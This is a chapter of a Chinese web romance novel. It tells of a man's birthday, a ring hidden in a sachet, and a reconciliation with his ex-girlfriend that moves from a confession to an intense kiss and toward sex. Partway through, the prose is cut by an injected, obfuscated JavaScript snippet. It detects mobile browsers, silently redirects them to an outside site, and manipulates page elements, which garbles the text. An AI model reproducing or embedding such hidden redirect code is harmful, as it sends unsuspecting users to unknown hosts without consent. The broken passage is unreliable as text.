35. 第三十五个梦
作品:《恋爱悖论》 “要我说,你这副对什么都提不起兴趣的状态,找个女朋友说不定就缓解了。”
盛时一身运动的精炼装扮,手被镁粉染白,肌肉贲起。
刚刚连续数次dyno失败,直直地摔到海绵垫上,耗掉他大部分力气。他没有再上墙,在原地转动手腕,缓解酸痛感。
他接触攀岩很早,虽不热衷于这项运动,但那几个抓点于他而言难度并不高,过不了,只能是他心不在焉。
圈子里也有摆烂躺平的富二代,盛时和其又有明显差异。
他不挥霍家产,甚至一早和父权割席,但也毫无事业进取心。
有时候连玩都意兴阑珊的。
朋友将之归结于,他的生活过于平淡,缺乏某些刺激,比如说,性。
谁不知道,他开着一家日咖夜酒吧,过的却是苦行僧的日子。
盛时耷拉着眼皮,额角的汗流进眼睛里,盐分带来尖锐的刺痛感,他也懒得去擦。
太久没碰攀岩了,全身骨头跟拆了重装似的,但没有获到想象中的发泄的快感。
他知道问题出在哪儿。
桑兮渺让他很不痛快。
这个女人不记得他这个前男友,不记得是她甩了他,还胆敢腆着脸皮说要和他谈恋爱。
也是。
她若是记得,早离他远远的。
他气她,也气自己。
众所周知,人不会踏进同一条河两次,但他又一次被她牵动情绪。
当初分手,他消沉了许久,晚上失眠,靠酗酒入睡,白天又靠咖啡提神,身心折磨。
朋友安慰他,就跟玩股票一样,趁赔得还不多,及时抽身,免得被套牢。
可事实就是,他早就被套牢了。
否则,为什么还是开了“Minutes”,为什么住在二楼,又是为什么留着有关她的一切。
在攀岩馆消耗了体力,他们去吃夜宵续摊。
不出意外的话,接下来还可能去酒吧、KTV、桌游,甚至郊外赛车场。
直到陪盛时过完生日。
这帮学生时代认识的朋友十分讲义气,平时各忙各的,难得碰面。今天他生日,他们无论如何也抽了空过来。
因此,当盛时这个主人公要先走时,他们极为不满。
他晃了晃手机,“有人找。”
“谁啊?说服不了我们的话,不可能放你的。”
“可能是——”他拖着音,“未来女朋友吧。”
“!!!”
他们一顿起哄叫嚷。
盛时勾唇一笑,“下次来‘Minutes’,好酒招待。”
刚刚打开手机,看见桑兮渺的消息。
一个小时前。
[连迦姐跟我说,我才知道今天是你生日,没有准备礼物>
二十分钟前。
[张师傅教我做了个小蛋糕,生日快乐^^]
后面跟着一张照片。
四寸大的蛋糕,上面画着他的Q版形象。
不愧是画手,用奶油也能作画。
五分钟前。
[奶油快化掉了TT]
像是无声催促他快回来。
她就是这种性子,越是细腻、珍贵的感情,越不会直接地表达出来。要像包礼物一样,里一层,外一层,再呈到他面前。
幸好他能读懂。
所有的怨,恨,怒,都化作一个念头——
去见她。
盛时心情的迫切,令他车开得有些着急。
想赶最后两秒的绿灯没赶上,急刹车停在斑马线前,后视镜上挂的香囊掉了下来。
他弯腰去捡,不经意触到一处硬物。
在最底下。
他捏了捏,隐约有了猜测,心跳陡然加快。
红灯还有一分多钟。
等不及停靠在路边了,他迅速暴力拆卸,将里面的填充物全部倒出来,直到看见那枚戒指。
这是她什么时候送的来着?
是端午节前,具体日子他不记得了,她随手给他的,他没多想,一直挂在车上。过了这么久,艾叶香气就像她画在他腕上的桑叶标记,早就消退了。
他简直哭笑不得。
她怎么想的,把戒指藏这里面?就不怕他扔了吗?
这也确实是桑兮渺干得出来的事。
后面的车连连按着喇叭。
盛时将戒指揣进口袋,驱车回“Minutes”。
-
今晚没有演出,店里放着舒缓的英文歌。
在女声的浅吟中,他看见趴在桌上,枕着自己的胳膊,看着蛋糕发呆的桑兮渺。
吴浩东正要开口和他打招呼,盛时做了个“嘘”的手势。
离她还有几步距离时,她有所察觉,抬起脑袋。
桑兮渺第一反应是看手机,然后松了口气:“还没到十二点,来得及。”
她完全没在意自己等了多久,而是庆幸赶上给他过生日。
当年也是。
特意给他送生日礼物,她也不告诉他,自己一个人苦等,还对他的晚归没半句怨言。
盛时再没有办法对她强装冷淡,眉眼无比柔和,伸手抚摸她脸上睡出来的压痕。
桑兮渺不太习惯他突如其来的温柔,缩了缩脖子,但没躲,让他碰到了。
不知为何,她感觉到他的动作有一种……失而复得的怜惜?
她抿了下唇,轻声说:“盛时,生日快乐。”
他没回应,反而是扭过头。
对上几双八卦的眼睛。
见被他发现,他们忙欲盖弥彰地转开眼。
盛时扣住她的手腕,“去楼上。”
当然,没忘了带上蛋糕。
他们一走,楼下就沸腾了。
吴浩东说:“我靠我靠,谁见过时哥那么肉麻的样子?我鸡皮疙瘩都起来了。”
罗胖说:“我说之前时哥怎么呛我,敢情是他早就对兮渺姐姐有意思了。”
吴嫣嫣:“他们为什么要上楼啊?”
连迦:“小孩子别瞎打听。”
吴嫣嫣不服:“切,我不小了,不就是成年人那点事吗?”
吴浩东勒住她的脖子,“给时哥的礼物送也送了,还在这儿看八卦?”
“只许州官放火,不许百姓点灯。”
吴嫣嫣朝他吐了下舌头,溜了。
……
盛时拿来餐盘刀叉,两人分食那块蛋糕。
大晚上的,吃甜食太腻,他问她想不想喝点什么。
“都行。”
冰箱里没什么食物,酒和饮料倒不少,盛时给她调了一杯酒,“度数很低,不醉人。”
桑兮渺接过,“谢谢。”
他见她欲言又止,问:“怎么了?”
“那个,我们这样避开他们,好像更容易引起误会吧。”
她摸摸鼻头,“我们又不会做什么……”
盛时目光熠熠地望着她,“那你原本来找我是想做什么?”
桑兮渺不作声,用叉子戳着盘中已经面目全非的蛋糕。
他换个问法:“你想得如何了?”
她嘟囔:“明明是我追你,为什么要我想?”
盛时施施然地道:“我想得很清楚,我不谈玩玩而已的恋爱。”
她急急地辩解:“我也没有说只是玩玩而已呀!”
“是么。”他用网一般的目光笼住她,“我们应当也没到‘不得不选择一个合适的人恋爱、结婚’的年纪吧。”
桑兮渺正要开口,他又像想起什么,说:“哦,不,你已经相过亲了。”
“……”
她失语。
他怎么这么小心眼,一直揪着她那句“适合”不放。
桑兮渺憋了会儿,说:“我又不喜欢那个人。”
“不喜欢他和不排斥我,听起来差不多。”
她气鼓鼓的:“连迦姐他们都说你很大方,明明是个小气鬼!”
盛时不气反笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432454|168341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“恼羞成怒?”
揶揄的语气太昭然。
“你到底想听我说什么?”她开始口不择言,“我没想过结婚,没想过和某个人过一辈子,未来的事我保证不了。”
“我和我朋友、爸妈都没住在一起,我觉得保持距离才是最好的相处模式,可是恋爱、结婚麻烦死了,要跟对方亲密无间,朝夕相处。尽管,”她喘了口气,继续说,“尽管我知道这么麻烦,但我就是想跟你在一起呀。”
他的声音沉了几分:“你再说一遍。”
“我……”
她卡壳。
盛时凝住她的眼,“桑兮渺,说你还喜欢我。”
为什么是“还”?
刚刚的长篇大论,把她自己绕晕了,大脑处理不过来这个简单的字眼。
“说你还喜欢我,嗯?”
他重复。
桑兮渺懵懵懂懂:“我才刚开始喜欢你啊。”
“不。”
不知何时,他已然逼近她,彼此之间的距离消弭了,呼吸趋于交融。
“从很早之前,你就喜欢我了。”
她脑海里一片凌乱,在他亲下来时,直接化为空白。
柔软的,温热的,干燥的。
和梦里一模一样。
盛时两只手卡着她的腰,轻而易举地将她举起来,放到桌子上。
这下,两个人的视线就平行而对了。
桑兮渺胸口起伏着,眸子润润的。
他大拇指指腹摩挲着她的唇角,“还是不会换气,接个吻搞得这么狼狈。”
她耳根子一热,“你经验丰富了不起。”
因为脸皮薄,反呛的话都说得很轻。
手滑下来,撑着桌面,他歪了歪头,略带无辜:“我只亲过一个。”
“那,那也是我吃亏。”
盛时心里笑她,面上不显,仍是一副游刃有余的轻松状态,“要不然,让你亲回来?”
话音才落,桑兮渺搂着他的脖子,对准他的唇,直直地贴上去。
他不动,仿佛真是应诺,任由她“欺负”他。
干亲了一会儿,某种熟悉感驱使着她,试探地伸出舌尖,抵住他的唇缝。
盛时立马反客为主,卷起她的舌,肆意交缠着,像是在发泄着什么,气势汹汹的,想要将她吞吃入腹般。
力道之大,她的舌根被扯得生疼。
他按着她往怀里扣,上半身紧密相偎,她被迫仰起细颈,听见唇舌裹绞发出的细响。
肺部的氧气一点点被压榨干净,桑兮渺眼角流下生理性的泪,却没有推开他,双臂反而收得更紧。
想要把自己融入他的身体似的。
泪的咸味,血的铁锈味混在一起,分不清是谁的嘴在激烈的吻中被咬破了。
盛时松开她,她被他眼底的红血丝吓到,眼泪不受控制地流得更欢。
他嗓子喑哑:“哭什么?”
“我不知道。”
桑兮渺真的不知道。
她明明喜欢他,也喜欢和他的亲密,为什么会哭?
盛时抄起一旁的她的酒杯,一饮而尽。
似是想借冰冽的酒精麻痹过热的身体。
多余的酒液顺着他的下巴滑落,没入衣领之下。
他的喘息声很急。
他在压抑、克制。
可惜,给她准备的酒度数太低,对他起不了作用。
桑兮渺鬼使神差地啄走他锁骨上的酒,鼻息间,弥漫着淡淡的果香。沿着往上,是他的喉结,下颌。
还没到唇,她整个人悬空而起。
她下意识地夹住他的腰,将他当作了颠沛流离中唯一安然的依靠。
盛时的步子迈得又快又大。
方向是,床。
在她反应过来前,她已经被他丢到床上。
“桑兮渺,上次我放过你了,这次你别想跑脱。”
他居高临下,一字一句作出对她的判决。
欲望一触即燃。